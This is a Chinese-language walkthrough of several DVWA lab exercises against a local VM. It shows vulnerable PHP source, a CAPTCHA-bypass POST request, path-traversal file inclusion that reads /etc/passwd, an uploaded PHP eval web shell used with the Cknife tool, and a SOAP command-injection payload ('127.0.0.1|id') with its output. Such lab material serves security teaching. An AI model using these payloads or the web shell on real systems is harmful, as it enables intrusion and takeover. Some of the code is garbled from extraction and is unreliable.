              $html .= "<br />两次输入的密码必须相同。";
       $hide_form = false;
```

```
return;
       }
       $pass = md5($pass_new);
       if (($pass_new == $pass_conf)){
             $pass_new = mysql_real_escape_string($pass_new);
             $pass_new = md5($pass_new);
             $insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
             $result=mysql_query($insert) or die('' . mysql_error() . '' );
             $html .= " 密码已更改。 ";
             mysql_close();
       }
       else{
             $html .= " 密码不匹配。 ";
       }
}
?>
```

### • medium.php

```
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '1' ) ) {
   $hide_form = true;
   $user = $_POST['username'];
   $pass_new = $_POST['password_new'];
   $pass_conf = $_POST['password_conf'];
   $resp = recaptcha_check_answer($_DVWA['recaptcha_private_key'],
       $_SERVER["REMOTE_ADDR"],
       \verb| $\_POST["recaptcha\_challenge\_field"], \\
       $_POST["recaptcha_response_field"]);
   if (!$resp->is_valid) {
       // What happens when the CAPTCHA was entered incorrectly
       $html .= "<br />验证码错误, 请重新输入。";
       $hide_form = false;
       return;
   } else {
           if (($pass_new == $pass_conf)){
           $html .= "<br />验证码通过,请单击更改按钮。 <br />";
           $html .= "
           <form action=\"#\" method=\"POST\">
               <input type=\"hidden\" name=\"step\" value=\"2\" />
               <input type=\"hidden\" name=\"password_new\" value=\"" . $pass_new . "\" />
               <input type=\"hidden\" name=\"password_conf\" value=\"" . pass_conf . "\" />
               <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
               <input type=\"submit\" name=\"Change\" value=\"更改\" />
           </form>";
           }
           else{
                   $html .= " 两次输入的密码必须相同。 ";
           $hide_form = false;
   }
}
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '2' ) )
```

```
{
    $pass_new = $_POST['password_new'];
    $pass_conf = $_POST['password_conf']; //独自等待添加,修正原程序中的错误
    $hide_form = true;
    if (!$_POST['passed_captcha'])
              $html .= "<br />验证码不能过,小黑客,没得玩了哦! ";
       $hide_form = false;
       return;
       $pass = md5($pass_new);
       if (($pass_new == $pass_conf)){
             $pass_new = mysql_real_escape_string($pass_new);
             $pass_new = md5($pass_new);
             $insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
             $result=mysql_query($insert) or die('' . mysql_error() . '' );
             $html .= " 密码已更改。 ";
             mysql_close();
       }
       else{
             $html .= " 密码不匹配。 ";
       }
}
?>
```

```
<?nhp
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '1' ) ) {
   $hide_form = true;
    $pass_new = $_POST['password_new'];
   $pass_new = stripslashes( $pass_new );
   $pass_new = mysql_real_escape_string( $pass_new );
   $pass_new = md5( $pass_new );
       $pass_conf = $_POST['password_conf'];
       $pass_conf = stripslashes( $pass_conf );
   $pass_conf = mysql_real_escape_string( $pass_conf );
   $pass conf = md5( $pass conf );
       $resp = recaptcha_check_answer ($_DVWA['recaptcha_private_key'],
       $_SERVER["REMOTE_ADDR"],
       $_POST["recaptcha_challenge_field"],
       $_POST["recaptcha_response_field"]);
   if (!$resp->is_valid) {
       // What happens when the CAPTCHA was entered incorrectly
       $html .= "<br />验证码出错,请重试。";
       $hide_form = false;
       return;
   } else {
               // Check that the current password is correct
       $qry = "SELECT password FROM `users` WHERE user='admin' AND password='$pass_curr';";
       $result = mysql_query($qry) or die('' . mysql_error() . '' );
```

## 绕过验证码,并将密码更改为: admin888

```
POST /dvwacn/vulnerabilities/captcha/ HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.80/dvwacn/vulnerabilities/captcha/
Cookie: security=low; PHPSESSID=b066ao156vs6s2qhh0kr60sha4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

step=2&password_new=admin888&password_conf=admin888&Change=%B5%A5%BB%F7%CE%D2%B2%E2%CA%D4
```

# dvwacn之九文件包含

dvwacn之文件包含物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/fi/source# ls
high.php low.php medium.php
```

## 安全级别

• low.php

```
<?php

$file = $_GET['page']; //The page we wish to display
?>
```

• medium.php

```
$file = $_GET['page']; // The page we wish to display

// Bad input validation

$file = str_replace("http://", "", $file);

$file = str_replace("https://", "", $file);

?>
```

• high.php

```
<?php

$file = $_GET['page']; //The page we wish to display

// Only allow include.php

if ( $file != "include.php" ) {
    echo "´ : τ%ρδμ%£¡";
    exit;
}

?>
```

# 包含phpinfo.php文件

http://192.168.56.80/dvwacn/vulnerabilities/fi/?page=../../phpinfo.php

页面将返回phpinfo信息

## 包含include.txt

http://192.168.56.80/dvwacn/vulnerabilities/fi/?page=../../include.txt

here is file inclution test!!!!!! code is excute here

# 包含/etc/passwd文件

http://192.168.56.80/dvwacn/vulnerabilities/fi/?page=../../../../etc/passwd

页面返回

```
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
```

# dvwacn之十文件上传

dvwacn之文件上传物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/upload/source# ls
high.php low.php medium.php
```

## 安全级别

• low.php

· medium.php

```
if (isset($_POST['Upload'])) {

    $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
    $target_path = $target_path . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_type = $_FILES['uploaded']['type'];
    $uploaded_size = $_FILES['uploaded']['size'];

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){

    if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

        $html .= '<pre>';
        $html .= '';
    } html .= '';
} else {
```

```
$html .= '';
$html .= $target_path . ' 上传成功!';
$html .= '';
}
else{
    echo '上传失败.';
}
}
```

```
<?php
if (isset($_POST['Upload'])) {
           $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
           $target_path = $target_path . basename($_FILES['uploaded']['name']);
           $uploaded_name = $_FILES['uploaded']['name'];
           $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
           $uploaded_size = $_FILES['uploaded']['size'];
           if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext
== "JPEG") && ($uploaded_size < 100000)){
               if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                  $html .= '';';
                  $html .= '上传失败.';
                  $html .= '';
                } else {
                  $html .= '';
                  $html .= $target_path . ' 上传成功!';
                  $html .= '';
                  }
           }
           else{
               $html .= '';
               $html .= '上传失败.';
               $html .= '';
           }
       }
?>
```

## 文件上传

直接选择/tmp/mm.php文件上传

mm.php文件内容

```
<?php @eval($_POST['cmd']);?>
```

### 页面返回

../../hackable/uploads/mm.php上传成功!

# 利用工具

### Cknife

https://github.com/xiongjungit/Cknife

上传文件url地址

http://192.168.56.80/dvwacn/hackable/uploads/mm.php

### 打开Cknife

```
添加地址:
http://192.168.56.80/dvwacn/hackable/uploads/mm.php

参数:
cmd

配置:
<T>MYSQL</T>
<H>localhost</H>
<U>root</U>
<P>123456</P>
<L>utf8</L>
```

右键-->文件管理

## dvwacn之十一WebServices命令执行

dvwacn之之WebServices命令执行物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/ws-exec/source# ls
high.php low.php medium.php
```

### 安全级别

• low.php

· medium.php

• high.php

## Ping测试

使用BurpSuite配合测试soap.wsdl

用户输入

```
127.0.0.1|id
```

#### BurpSuite捕获的http请求数据包

```
POST /dvwacn/vulnerabilities/ws-exec/ws-commandinj.php HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset="utf-8"
X-Requested-With:\ XMLHttpRequest
Referer: http://192.168.56.80/dvwacn/vulnerabilities/ws-exec/
Content-Length: 297
{\tt Cookie: security=low; PHPSESSID=ulabc0doicpbifpef5r00hbs52; Hm\_lvt\_76a0c683d2fe8348e3cb8ceaeca39b4d=146941553}
3; Hm_lpvt_76a0c683d2fe8348e3cb8ceaeca39b4d=1469415533; yunpian.lang=zh
Connection: close
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSch</pre>
ema " xmlns: soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><pringAddressLow xmlns="http://localhos" xmlns="http://localhos" xmlns="http://localhos" xmlns="http://localhos" xmlns="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><pringAddressLow xmlns="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><pri>xmlns="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><pri>xmlns="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><pri>xmlns="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><pri>xmlns="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><pri>xmlns="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><pri>xmlns="http://schemas.xmlsoap.org/soap/envelope/">
t"><address>127.0.0.1|id</address></pingAddressLow></soap:Body></soap:Envelope>
```

#### BurpSuite捕获的http返回数据包

```
HTTP/1.1 200 OK
Date: Mon, 25 Jul 2016 03:22:31 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.18
X-SOAP-Server: NuSOAP/0.9.5 (1.123)
Vary: Accept-Encoding
Content-Length: 571
Connection: close
Content-Type: text/xml; charset=gb2312

<?xml version="1.0" encoding="gb2312"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:pingAddressLowResponse xmlns:ns1="http://localhost"><return xsi:type="xsd:string">uid=33(www-data) gid=33(www-data) groups=33(www-data)</return></ns1:pingAddressLowResponse></soAP-ENV:Body></soAP-ENV:Envelope>
```

可以看到id命令被成功执行,返回

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```